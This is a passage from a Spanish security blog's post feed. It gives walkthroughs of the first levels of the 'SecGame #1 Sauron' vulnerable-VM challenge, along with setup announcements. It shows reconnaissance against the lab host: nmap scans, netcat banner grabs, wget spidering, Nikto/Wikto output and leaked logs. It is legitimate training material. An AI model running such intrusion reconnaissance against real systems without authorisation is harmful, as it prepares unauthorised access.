style="font-size:85%;"><br /><span style="font-family:courier new;">> nc www.blindware.inc 80</span><br /><span style="font-family:courier new;">POST /data/stats/ HTTP/1.0</span><br /><br /><span style="font-family:courier new;">HTTP/1.1 200 OK</span><br /><span style="font-family:courier new;">Date: Tue, 17 Jul 2007 12:31:57 GMT</span><br /><span style="font-family:courier new;">Server: Apache/2.2.4 (Fedora)</span><br /><span style="font-family:courier new;">Last-Modified: Tue, 08 May 2007 20:46:48 GMT</span><br /><span style="font-family:courier new;">ETag: "a8023-4eed-8431de00"</span><br /><span style="font-family:courier new;">Accept-Ranges: bytes</span><br /><span style="font-family:courier new;">Content-Length: 20205</span><br /><span style="font-family:courier new;">Connection: close</span><br /><span style="font-family:courier new;">Content-Type: text/html; charset=UTF-8<br /><html><br /></span></span><span style="font-size:85%;"><span style="font-family:courier new;"><</span></span><span style="font-size:85%;"><span style="font-family:courier new;">head</span></span><span style="font-size:85%;"><span style="font-family:courier new;">></span></span><br /><span style="font-size:85%;"><span style="font-family:courier new;"><</span></span><span style="font-size:85%;"><span style="font-family:courier new;">title</span></span><span style="font-size:85%;"><span style="font-family:courier new;">></span></span><span style="font-size:85%;"><span style="font-family:courier new;">Web Server Statistics for Blindware Inc.</span></span><span style="font-size:85%;"><span style="font-family:courier new;"><</span></span><span style="font-size:85%;"><span style="font-family:courier new;">/title</span></span><span style="font-size:85%;"><span style="font-family:courier new;">></span></span><br /><span style="font-size:85%;"><span style="font-family:courier new;"><</span></span><span style="font-size:85%;"><span style="font-family:courier new;">meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /</span></span><span style="font-size:85%;"><span style="font-family:courier new;">></span></span><br /><span style="font-size:85%;"><span style="font-family:courier new;"><</span></span><span style="font-size:85%;"><span style="font-family:courier new;">meta name="robots" content="noindex,nofollow" /</span></span><span style="font-size:85%;"><span style="font-family:courier new;">></span></span><br /><span style="font-size:85%;"><span style="font-family:courier new;"><title>Server Statistics for Blindware Inc.</title></span><span style="font-family:courier new;">(..)<br /><br /></span></span>Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:<span style=";font-family:Arial;font-size:10;" lang="EN-GB" ><span style="font-size:85%;"><span style="font-family:courier new;"><br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">Directory Report</span></span></span><span style="font-size:85%;"><o:p style="font-family: courier new;"></o:p></span></span></span> <p class="repdesc" style="font-family:courier new;"><span style="font-size:85%;"><span lang="EN-GB">This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)<o:p></o:p></span></span></p> <p class="whatinc" style="font-family:courier new;"><span style="font-size:85%;"><span lang="EN-GB">Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.<o:p></o:p></span></span></p> <table class="MsoNormalTable" style="border: 1pt solid windowtext;font-family:courier new;" border="1" cellpadding="0"> <thead> <tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal" style="text-align: center;" align="center"><span style="font-size:85%;"><b>reqs<o:p></o:p></b></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal" style="text-align: center;" align="center"><span style="font-size:85%;"><b>%bytes<o:p></o:p></b></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal" style="text-align: center;" align="center"><span style="font-size:85%;"><b>directory<o:p></o:p></b></span></p> </td> </tr> </thead> <tbody><tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">14<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">61.88%<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">/web/<o:p></o:p></span></p> </td> </tr> <tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">14<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">34.76%<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">[root directory]<o:p></o:p></span></p> </td> </tr> <tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">4<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">2.55%<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">/data/<o:p></o:p></span></p> </td> </tr> <tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">8<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">0.63%<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">/icons/<o:p></o:p></span></p> </td> </tr> <tr style=""> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">10<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">0.18%<o:p></o:p></span></p> </td> <td style="border: 1pt solid windowtext; padding: 0.75pt;"> <p class="MsoNormal"><span style="font-size:85%;">/_controlp/<o:p></o:p></span></p> </td> </tr> </tbody></table> <p class="MsoNormal" style="text-align: justify;font-family:georgia;"><span style=";font-family:courier new;font-size:85%;" ><o:p></o:p></span>En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre "<span style="font-weight: bold;">_controlp/</span>". El cual nos lleva al siguiente escenario:</p><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL22RQNNyw5id6qhrGTJdnjfM4p-MCBD6CMS0UNHCJkDx5DeN-7nmGBfu7UPIMg-EGjbUfRonAJFbunbM9FwudnF7YXPr8pMARJtVhZ9HcpxeqlTWSvIfqbiIKyDUOdm9RRNKVO0I_TZo/s1600-h/secgame.sauron.l3.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL22RQNNyw5id6qhrGTJdnjfM4p-MCBD6CMS0UNHCJkDx5DeN-7nmGBfu7UPIMg-EGjbUfRonAJFbunbM9FwudnF7YXPr8pMARJtVhZ9HcpxeqlTWSvIfqbiIKyDUOdm9RRNKVO0I_TZo/s320/secgame.sauron.l3.jpg" alt="" id="BLOGGER_PHOTO_ID_5160554587478865026" border="0" /></a>Pues hasta aquí ha llegado este segundo nivel. En 2 semanas volveremos con el nivel 3, que esperamos a los que lo juguéis os resulte entretenido y didáctico.<br /><p class="MsoNormal" face="georgia" style="text-align: justify;"></p></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-87212922659477341052008-01-14T09:51:00.000+01:002008-01-14T12:21:26.468+01:00SecGame #1: Sauron - Resolución Nivel 1<div style="text-align: justify;">Saludos a todos,<br /></div><div style="text-align: justify;"><br />dado que lo prometido es deuda vamos a comenzar con la resolución, cada 15 días, de los niveles propuestos para SecGame #1. Inicialmente pensamos hacerlo cada semana, pero creemos que resolviéndolos cada 15 días será posible, para aquellos que estéis siguiendo el juego, afrontar el nuevo nivel con tiempo suficiente.<br /><br />En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.<br /></div><br />Los objetivos son los siguientes:<br /><br /><ul style="text-align: justify;"><li>Conocer la estructura del sistema y de la red</li><li>Conocer la estructura del aplicativo</li><li>Buscar ficheros por defecto con información sensible</li><li>Analizar la lógica del aplicativo</li><li>Determinar los posibles puntos de intrusión.</li></ul><span style="font-weight: bold;"><br /><span style="font-style: italic;">Información sobre Red y Servicios</span></span><div style="text-align: justify;"><br />Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos <a href="http://insecure.org/nmap/">nmap</a> con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.<br /><br /><span style=";font-family:courier new;font-size:85%;" >> nmap -sP 192.168.200.1-254</span><span style=";font-family:courier new;font-size:85%;" ><span><br /><br />Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance<br /></span></span><span style=";font-family:courier new;font-size:85%;" ><span>Host 192.168.200.1 appears to be up.</span><br /></span><span style=";font-family:courier new;font-size:85%;" ><span>Host www.blindware.inc (192.168.200.2) appears to be up.<br /></span></span><span style=";font-family:courier new;font-size:85%;" ><span>MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)<br /></span></span><span style=";font-family:courier new;font-size:85%;" ><span>Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds</span></span><br /><br /></div><div style="text-align: justify;">Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un "ping" previo, y que se compruebe el puerto 80/tcp.<br /><br />En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.<br /><br /><span style=";font-family:courier new;font-size:85%;" ><span>> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2</span><br /><br /><span>Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance</span><br /><span>Interesting ports on www.blindware.inc (192.168.200.2):</span><br /><span>PORT STATE SERVICE</span><br /><span>22/tcp filtered ssh</span><br /><span>23/tcp filtered telnet</span><br /><span>25/tcp filtered smtp</span><br /><span>80/tcp open http</span><br /><span>110/tcp filtered pop3</span><br /><span>443/tcp open https</span><br /><span>3306/tcp filtered mysql</span><br /><span>MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)</span><br /><br /><span>Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds</span></span><br /><br />De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV<br /><br /><span style=";font-family:courier new;font-size:85%;" >> nmap -sV -p 80,443 192.168.200.2<br /><br />Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance<br />Interesting ports on www.blindware.inc (192.168.200.2):<br />PORT STATE SERVICE VERSION<br />80/tcp open http Apache httpd 2.2.4 ((Fedora))<br />443/tcp open ssl OpenSSL<br />MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)<br /><br />Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds<br /><br /></span>Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https. <span style="font-weight: bold;"><span style="font-style: italic;"><br /><br />Información sobre el Servidor Web</span></span><br /><br /><span style="font-size:100%;">¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.<br /><br />Una conexión directa haciendo uso de <a href="http://netcat.sourceforge.net/">netcat</a>, y una petición al servicio web nos muestra la siguiente información:<br /></span><br /><span style="font-size:85%;"><span style="font-family:courier new;">> nc 192.168.200.2 80</span><br /><span style="font-family:courier new;">HEAD / HTTP/1.0</span><br /><br /><span style="font-family:courier new;">HTTP/1.1 200 OK</span><br /><span style="font-family:courier new;">Date: Thu, 05 Jul 2007 19:20:20 GMT</span><br /><span style="font-family:courier new;">Server: Apache/2.2.4 (Fedora)</span><br /><span style="font-family:courier new;">X-Powered-By: PHP/5.1.6</span><br /><span style="font-family:courier new;">Connection: close</span><br /><span style="font-family:courier new;">Content-Type: text/html; charset=UTF-8</span></span><br /><br />A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.<br /><br />Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. <a href="http://www.gnu.org/software/wget/">Wget</a> o <a href="http://www.httrack.com/">httrack</a> son unas herramientas muy válidas para la tarea.<br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">> wget -r http://www.blindware.inc</span><br /><span style="font-family:courier new;">--19:28:15-- http://www.blindware.inc/</span><br /><span style="font-family:courier new;"> => `www.blindware.inc/index.html'</span><br /><span style="font-family:courier new;">Resolving www.blindware.inc... 192.168.200.2</span><br /><span style="font-family:courier new;">Connecting to www.blindware.inc|192.168.200.2|:80... connected.</span><br /><span style="font-family:courier new;">HTTP request sent, awaiting response... 200 OK</span><br /><span style="font-family:courier new;">Length: unspecified [text/html]</span><br /><br /><span style="font-family:courier new;"> [ <=> ] 24 --.--K/s</span><br /><br /><span style="font-family:courier new;">19:28:15 (1.02 MB/s) - `www.blindware.inc/index.html' saved [24]</span><br /><br /><span style="font-family:courier new;">Loading robots.txt; please ignore errors.</span><br /><span style="font-family:courier new;">--19:28:15-- http://www.blindware.inc/robots.txt</span><br /><span style="font-family:courier new;"> => `www.blindware.inc/robots.txt'</span><br /><span style="font-family:courier new;">Connecting to www.blindware.inc|192.168.200.2|:80... connected.</span><br /><span style="font-family:courier new;">HTTP request sent, awaiting response... 200 OK</span><br /><span style="font-family:courier new;">Length: 33 [text/plain]</span><br /><br /><span style="font-family:courier new;">100%[====================================>] 33 --.--K/s</span><br /><br /><span style="font-family:courier new;">19:28:15 (1.12 MB/s) - `www.blindware.inc/robots.txt' saved [33/33]</span><br /><br /><span style="font-family:courier new;">--19:28:15-- http://www.blindware.inc/load.js</span><br /><span style="font-family:courier new;"> => `www.blindware.inc/load.js'</span><br /><span style="font-family:courier new;">Connecting to www.blindware.inc|192.168.200.2|:80... connected.</span><br /><span style="font-family:courier new;">HTTP request sent, awaiting response... 200 OK</span><br /><span style="font-family:courier new;">Length: 76 [application/x-javascript]</span><br /><br /><span style="font-family:courier new;">100%[====================================>] 76 --.--K/s</span><br /><br /><span style="font-family:courier new;">19:28:15 (2.30 MB/s) - `www.blindware.inc/load.js' saved [76/76]</span><br /><br /><span style="font-family:courier new;">FINISHED --19:28:15--</span><br /><span style="font-family:courier new;">Downloaded: 133 bytes in 3 files</span><br /></span><br /><span style="font-size:100%;">Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.<br /><br />De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.<br /><br />Vamos a verificar qué contienen los ficheros descargados:<br /></span><br /><span style="font-size:85%;"><span style="font-family:courier new;">> type index.html</span><br /><span style="font-family:courier new;"><script src="%E2%80%9Dload.js%E2%80%9D"></script> </span><script src="load.js"></script><span style="font-family:courier new;">script src="load.js"></span><br /><br /><span style="font-family:courier new;">> type load.js</span><br /><span style="font-style: italic; font-weight: bold;font-family:courier new;" >// document.location.href='data/0.html' </span><br /><span style="font-family:courier new;">Document.location.href=’web/0.html’;</span></span><br /><span style="font-size:85%;"><br /><span style="font-family:courier new;">> type robots.txt</span><br /><span style="font-family:courier new;">User-agent: *</span><br /><span style="font-weight: bold; font-style: italic;font-family:courier new;" >Disallow: /data/</span></span><span style="font-weight: bold; font-style: italic;"> </span><br /><br />Como podemos comprobar desde el fichero <span style="font-style: italic;">index.html</span> existe una llamada a un fichero con contenido javascript (<span style="font-style: italic;">load.js</span>) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual <span style="font-style: italic;"><span style="font-weight: bold;">data/0.html. </span></span><span style="font-style: italic;"><span style="font-weight: bold;"></span></span> Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde <span style="font-weight: bold; font-style: italic;">web/0.html </span><span style="font-weight: bold;"></span>comprobamos que únicamente se descarga contenido estático en html.<br /><br />Así que hasta el momento, y como conclusión, sabemos que existe una carpeta <span style="font-style: italic; font-weight: bold;">web/</span>, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta <span style="font-weight: bold; font-style: italic;">data/</span>, sobre la cual hablaremos más adelante.<br /><br /><span style="font-weight: bold;"><span style="font-style: italic;">Vulnerabilidades y Ficheros Sensibles<br /><br /></span></span><span><span>A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde <a href="http://www.watchfire.com/"><span style="font-style: italic;">AppScan</span></a>, a <a href="http://www.cirt.net/code/nikto.shtml"><span style="font-style: italic;">Nikto</span></a>, o su port a Win32, <a href="http://www.sensepost.com/research/wikto/"><span style="font-style: italic;">Wikto</span></a>. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad <span style="font-style: italic;">Nikto</span>, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.<br /><br />Los resultados de la ejecución de <span style="font-style: italic;">Wikto</span> son los siguientes:</span></span><span style="font-weight: bold;"><br /><br /></span><span style="font-weight: bold; font-style: italic;font-family:courier new;" >BackEnd<br /><br /></span><span style=";font-family:courier new;font-size:85%;" ><span style="font-weight: bold; font-style: italic;font-family:courier new;" ></span>#Directories<br />www.blindware.inc/<br />www.blindware.inc/cgi-bin/<br />www.blindware.inc/data/<br />www.blindware.inc/error/<br />www.blindware.inc/data/stats/<br />www.blindware.inc/error/include/<br />#Indexable<br />www.blindware.inc/data/<br />#Files<br />www.blindware.inc/index.php<br />www.blindware.inc/robots.txt</span><span style="font-weight: bold;"><span style="font-weight: bold;font-size:85%;" ><br /></span><br /></span><span style="font-weight: bold; font-style: italic;font-family:courier new;" >Nikto<br /></span><br /> <span style="font-size:85%;"><span style="font-family:courier new;">/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000</span><br /><span style="font-family:courier new;">/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42</span><br /><span style="font-family:courier new;">/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42</span><br /><span style="font-family:courier new;">/WS_FTP.LOG</span></span><br /><br />De esta información podemos obtener los siguientes datos relevantes:<br /><br /><ul><li>La existencia de un directorio <span style="font-weight: bold; font-style: italic;">/data/stats</span></li><li>La existencia de un fichero<span style="font-weight: bold; font-style: italic;"><span style="font-weight: bold;"><span style="font-style: italic;"><span style="font-style: italic;"><span style="font-weight: bold;"><span style="font-style: italic;"> WS_FTP.LOG</span></span></span></span></span></span></li><li>La existencia de un fichero<span style="font-weight: bold; font-style: italic;"><span style="font-weight: bold;"><span style="font-style: italic;"><span style="font-style: italic;"><span style="font-weight: bold;"><span style="font-style: italic;"> robots.txt</span></span></span></span></span></span></li><li>Información sobre PHP</li></ul><br />Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.<br /><br />Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.<br /><br /><span style="font-weight: bold;"><span style="font-style: italic;">Busqueda de un Punto de Intrusión</span></span><br /><br />Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:<br /><br /><ol><li>Existen 3 contenidos diferentes servidos por el servidor web</li><ol><li>http://www.blindware.inc ( En adelante www )</li><li>http://intranet.blindware.inc ( En adelante intranet )</li><li>https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )</li></ol><li>El contenido de https que podemos revisar con Wikto no parece contener nada.</li><li>Intranet nos pide autenticación para acceder.</li><li>En www conocemos que:<br /></li><ol><li>Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre <span style="font-weight: bold;">data/ </span>y <span style="font-weight: bold;">data/stats/</span></li><li>Wikto nos revela la existencia del fichero<span style="font-weight: bold;"> WS_FTP.LOG</span></li></ol></ol><br />Antes de continuar debemos revisar el fichero<span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"> <span style="font-style: italic;">WS_FTP.LOG:<br /><br /></span></span></span></span><span style="font-size:85%;"><span style="font-family:courier new;">2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/index.php</span><br /><span style="font-family:courier new;">2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd0.log</span><br /><span style="font-family:courier new;">2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd1.log</span><br /><span style="font-family:courier new;">2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd2.log</span><br /><span style="font-family:courier new;">2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd3.log</span></span><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-style: italic;"><br /><br /></span></span></span></span>Con lo cual, parece que tenemos 2 opciones:<br /><br /><ol><li>Atacar la autenticación de intranet</li><li>Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )<br /></li></ol><br />Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre <span style="font-weight: bold; font-style: italic;">data/stats/</span> al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.<br /><br />Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.<br /><br />Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.<br /><br />Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:<br /><br /><ul><li>En los comentarios del fichero “load.js” se filtra información</li><li>El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas.</li><li>Existen el WS_FTP.LOG conteniendo información sensible.</li><li>El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.</li></ul><br />Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio <span style="font-weight: bold; font-style: italic;">data/stats/ </span>terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.<br /><br />Esperemos que os haya resultado de interés, y que a los que no habían podido encontrar esta información, les sirva para poder continuar. Dentro de 15 días volveremos con el nivel 2.<br /><br /><span style="font-weight: bold; font-style: italic;"></span><span style="font-weight: bold;"></span></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-56831461352528940882008-01-07T09:25:00.000+01:002008-01-07T09:36:50.115+01:00SecGame #1: Mirrors y Resolución<div style="text-align: justify;">Feliz año 2008 a todos los que nos visitáis.<br /></div><br /><div style="text-align: justify;">Gracias a la gentileza de Mario Nunes de <a href="http://www.pensandoenred.com/">Pensando en Red</a>, este nuevo año lo iniciamos con un <a href="http://www.pensandoenred.com/secgame/">mirror</a> para alojar el proyecto SecGame. Esperamos que con esta nueva zona de descarga mejore la velocidad y las posibilidades para aquellos que han experimentado tasas de transferencia escasas.<br /></div><br /><div style="text-align: justify;">También queremos anunciar que a partir del próximo Lunes 14 de Enero, comenzaremos a resolver, semana a semana durante un total de 7, cada uno de los niveles del primer SecGame, Sauron, en sus 2 modalidades de dificultad.<br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-73652562491513609492007-12-26T10:16:00.000+01:002007-12-26T12:58:51.640+01:00SecGame #1: Actualización<div style="text-align: justify;">Saludos y felices fiestas.<br /><br />Durante estos días desde la publicación del primer SecGame hemos tenido algún que otro feedback por parte de los primeros interesados. Por un lado nos han preguntado por la posibilidad de ser ejecutado en Mac OS X, por otro, sobre la conveniencia, o no, de haber distribuido el juego en formato VMWare. Además, también nos han informado de un pequeño error en el PDF destinado a la instalación bajo GNU/Linux, donde los dominios habían sido escritos incorrectamente como ".net", cuando deben ser ".inc". Este error ya ha sido subsanado.<br /><br /></div><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >SecGame #1: Ejecución bajo Mac OS X<br /><br /></span><div style="text-align: justify;">El funcionamiento bajo Mac OS X es bastante similar al funcionamiento bajo GNU/Linux. La única salvedad es que bajo Mac OS X, no existe por defecto y de forma nativa soporte a dispositivos tun/tap. No obstante existe un driver que una vez instalado nos proveerá del soporte sin problema alguno. Por ello, los pasos son los siguientes:<br /><ol><li>Descargar el <a href="http://www-user.rhrk.uni-kl.de/%7Enissler/tuntap/">driver</a> para la creación de dispositivos tun/tap y llevar a cabo su proceso de instalación [<a href="http://www.secgame.org/img/tapdriverimg.jpg">ver imagen</a>].</li><li>Descargar e instalar <a href="http://www.kju-app.org/kju/">Q</a>, la versión de Qemu para Mac OS X.<br /></li><li>Ahora crearemos un enlace simbólico de /dev/tap a /dev/tap0, para ello haremos uso del siguiente comando: <span style="font-style: italic;">sudo ln -s /dev/tap0 /dev/tap </span>(tendremos que introducir la passwd)</li><li>Como penúltimo paso debemos lanzar el binario "i386-softmmu" que ejecutará la máquina virtual, localizado en Q.app/Contents/MacOS/i386-softmmu.app/Contents/MacOS. El comando, muy similar al de linux será aproximadamente el siguiente (ruta relativa): <span style="font-style: italic;">sudo Q.app/Contents/MacOS/i386-softmmu.app/Contents/MacOS/i386-softmmu sauron.dsk -net nic,vlan=0 -net tap,ifname=tap0,vlan=0,script=no </span>Arracando de esta forma la máquina virtual [<a href="http://www.secgame.org/img/qemuimg.jpg">ver imagen</a>].<br /></li><li>Por último, direccionaremos el tap0, para ello esribiremos el siguiente comando: <span style="font-style: italic;">sudo ifconfig tap0 192.168.200.1 netmask 255.255.255.0</span></li><li>Una vez hecho, tendremos acceso al juego editando el fichero de hosts, igual que en GNU/Linux [<a href="http://www.secgame.org/img/caminoimg.jpg">ver imagen</a>]</li></ol>Para hacer uso de las imágenes con VMWare pronto crearemos un manual explicativo. Para cualquier otra duda, no dudéis en enviarnos un correo.<br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-62939009618947928252007-12-21T11:20:00.000+01:002008-01-07T09:25:19.216+01:00SecGame #1: Sauron<div style="text-align: justify;">SG6 Labs publica su primer entorno para SecGame. SecGame #1 Sauron, representa un sistema GNU/Linux en el que se ejecutan una serie de servicios web vulnerables. El objetivo del atacante es escalar privilegios desde la web hasta el sistema local, para una vez allí, aprovechar otras vulnerabilidades existentes y llegar a ser administrador (root).<br /><br />El desarrollo de la intrusión, aunque tiene niveles lógicos, concretamente unos aproximadamente 7 niveles, aunque por error en algunos lugares aparezcan 10, no tiene una división clara entre ellos. Es decir, no hay un nivel 1, paso a nivel 2, paso a nivel 3, sino que la división se establece exactamente igual que en un entorno real, por la propia elevación de 